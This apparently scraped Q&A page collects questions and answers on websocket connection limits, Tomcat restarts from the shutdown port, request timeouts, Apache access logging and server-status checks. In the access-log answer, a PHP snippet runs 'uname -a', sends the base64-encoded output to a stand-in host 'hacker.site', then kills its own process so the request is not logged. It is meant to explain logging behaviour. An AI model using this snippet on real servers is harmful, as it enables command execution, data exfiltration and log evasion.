We Keep Coding

Enqueue websocket connection requests

I have a Windows application (written in Java) that connects to the server (spring + httpd) via websockets. Another websocket connection is established as soon as a user authenticates to the same server from a web browser. If server notice that both clients have same IP address, it "pairs" them so both applications can talk with each other.
The challenge I'm facing currently is that when multiple Windows application are starting up, all of them establish new websocket connections that exceeds httpd limitation of 255 active connections and the server goes down.
I'm looking for some feasible solution that would not overwhelm the server. A perfect scenario: a user logs into the system using a web browser, the server tries to connect the Windows application running on a clients machine afterwards and everyone is happy.
Have you any idea how to achieve it?
What I've tried already is to not create a new websocket connection on the Windows application startup but send a GET request to the request to the server and wait for the response that will occur after authenticating a user from a web browser. Hanging GET requests still need resources and httpd keeps a separate process for each of them. Also, it turned out that httpd has a 5 minutes timeout for hanging requests and sends 502 back after reaching it out.
I thought that maybe it is possible to handle GET requests in Spring by only one process / thread, but I haven't found any info for that.
Another limitation worth noting is that the Windows application runs on customer machines and customer's security policy may not allow for any wise tricks.

Tomcat restarts with errors (exit 143), runs and then fails after time

This is my first time asking a question on Stack Overflow. I recently configured an Ubuntu 16.04 virtual private server to host a web application. I run ngnix on a Tomcat server that reads and writes to a MySQL database. The application runs fine except for the fact that Tomcat restarts itself once in a while which results in a 500 error that stems from a "broken-pipe" when anyone tries to login (i.e. make a connection to the database).
I will post an image of the 500 next time it happens. I went into my vps and looked at my Tomcat restart message. This is what I see: Tomcat status message.
I also did a little diving into the Tomcat logs and this is a log file that corresponds with that restart time: Tomcat log file
I did some research to try and solve this myself, but with no success. I believe that the exit=143 is the process being terminated by another program or the system itself. I also have done some moving of the mysql-connector-java.jar. I read that it should be located in the Tomcat/lib directory and not in the WEB-INF of the web application. Perhaps I need to configure other settings.
Any help or any direction would be much appreciated. I've fought this issue for a week with having learned much, but accomplished little.
Thanks

Look at the timeline. It starts at 19:49:23.766 in the Tomcat log with this message:
A valid shutdown command was received via the shutdown port. Stopping the Server instance.
Exit code 143 is a result of that shutdown and doesn't indicate anything.
The question you need answered is: Who send that shutdown command, and why?
On a side note: The earlier messages indicates that Tomcat lost connection to the database, and that you didn't configure a validation query. You should always configure that, since database connections in the connection pool will go stale, and that needs to be detected.
Theory: Do you have some monitoring service running that tests your application being up? Does that monitoring detect a timed-out database connection, classify that as a hung webapp and auto-restart Tomcat?

While I don't think I am able to see to the core of the problem you have with your overall setup given the small excerpt of your log files, one thing strikes the eye. In the Tomcat log, there is the line
A valid shutdown command was received via the shutdown port. Stopping the server instance.
This explains why the server was restarted. Someone (some external process, a malicious attacker, script, or whatever. Could be anything depending on the setup of your server) sent a shutdown command to Tomcat's shutdown port (8005 by default) which made the Tomcat shut down.
Refer to OWASP's recommendations for securing a Tomcat server instance for fixing this possible security whole.
Regarding the ostensible Hibernate problems you have, I don't get enough information from your logs to make a useful statement. But you can leave the MySQL jar in Tomcat/lib, since this is not the root cause of your problem.

How to stop tomcat from processing request after certain time?

My tomcat server keeps processing some requests for more than 10 minutes. I stopped client which had triggered those requests but then also tomcat keeps processing those requests.
I have tried different settings for connectionTimeout property in server.xml file of tomcat but it is not working.
I would like to know how to configure tomcat such that tomcat kills/ stops processing requests which take longer than certain time like 10 seconds or 1 minute, etc.

From The Apache Tomcat Connector - Generic HowTo
Timeouts
JK can also use a timeout on request replies. This timeout does not
measure the full processing time of the response. Instead it controls,
how much time between consecutive response packets is allowed.
In most cases, this is what one actually wants. Consider for example
long running downloads. You would not be able to set an effective
global reply timeout, because downloads could last for many minutes.
Most applications though have limited processing time before starting
to return the response. For those applications you could set an
explicit reply timeout. Applications that do not harmonise with reply
timeouts are batch type applications, data warehouse and reporting
applications which are expected to observe long processing times.
If JK aborts waiting for a response, because a reply timeout fired,
there is no way to stop processing on the backend. Although you free
processing resources in your web server, the request will continue to
run on the backend - without any way to send back a result once the
reply timeout fired.

Do Apache Access Logs Ever Miss Requests?

My workplace has Apache in-front of various Java application servers. I often have to investigate production issues and rely on those Apache Access Logs recording all requests to the application servers, whether they are successful (200), redirects(302), errors (500) or some other status.
A couple of times however, normally when an application server has become unresponsive and required a restart, it looks like maybe some requests have not been logged.
I have tried reproducing this locally (start a long running request and either allow the request to exceed the timeout on the Apache server or just kill the application server from the command-line) but I always get a request logged in the access logs.
My question is, assuming Apache is running fine but faced with an application server problem, would the Apache access logs ever miss a request?

It can miss requests in some cases, docs contain important sentence:
The server access log records all requests processed by the server.
So if request is not processed, then we should not expect entry in access_log. If you wonder if such situation can be easily reproduced, then I found a way to do it.
Consider following PHP code (test.php):
<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());
Also you have to run Apache with prefork MPM and mod_php module. Then make request with browser or telnet:
$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0
Connection closed by foreign host.
As you can see, connection is closed without any response. Also there are no logs in access_log nor error_log, despite code was executed and attacker received encoded result of command uname -a.

Best way to program a server status feature

Some background information.
- Running a java server on localhost
- Running a webserver on localhost
I would like a webpage to have a 'server status' feature which lets me know whether the server is running or not. My question, what is the best way to do this?
When I launch the java server, I write a flag in the database to signify that it is running.
Javascript/PHP sockets to try and bind on the same port. (Not sure if possible yet)
Shell script to locate the program in the task list.
Thanks!

When I launch the java server, I write
a flag in the database to signify that
it is running.
would not be of much help if the server should segfault.
Maybe have a look at http://mmonit.com/monit/
what is pretty much what you are looking for

I suspect the simplest method is simply for your web service (backend) to try and connect to the port that your server is running on, and provide an automatically refreshing page that reports this status. If your server goes down then you'll get an faster notification than if you're polling (say) the process table.
Of course the fact that you can connect to the port doesn't really give you an indication of whether it's working other than it's opened a port (e.g. it may have no resources etc. to service requests) but it's a start.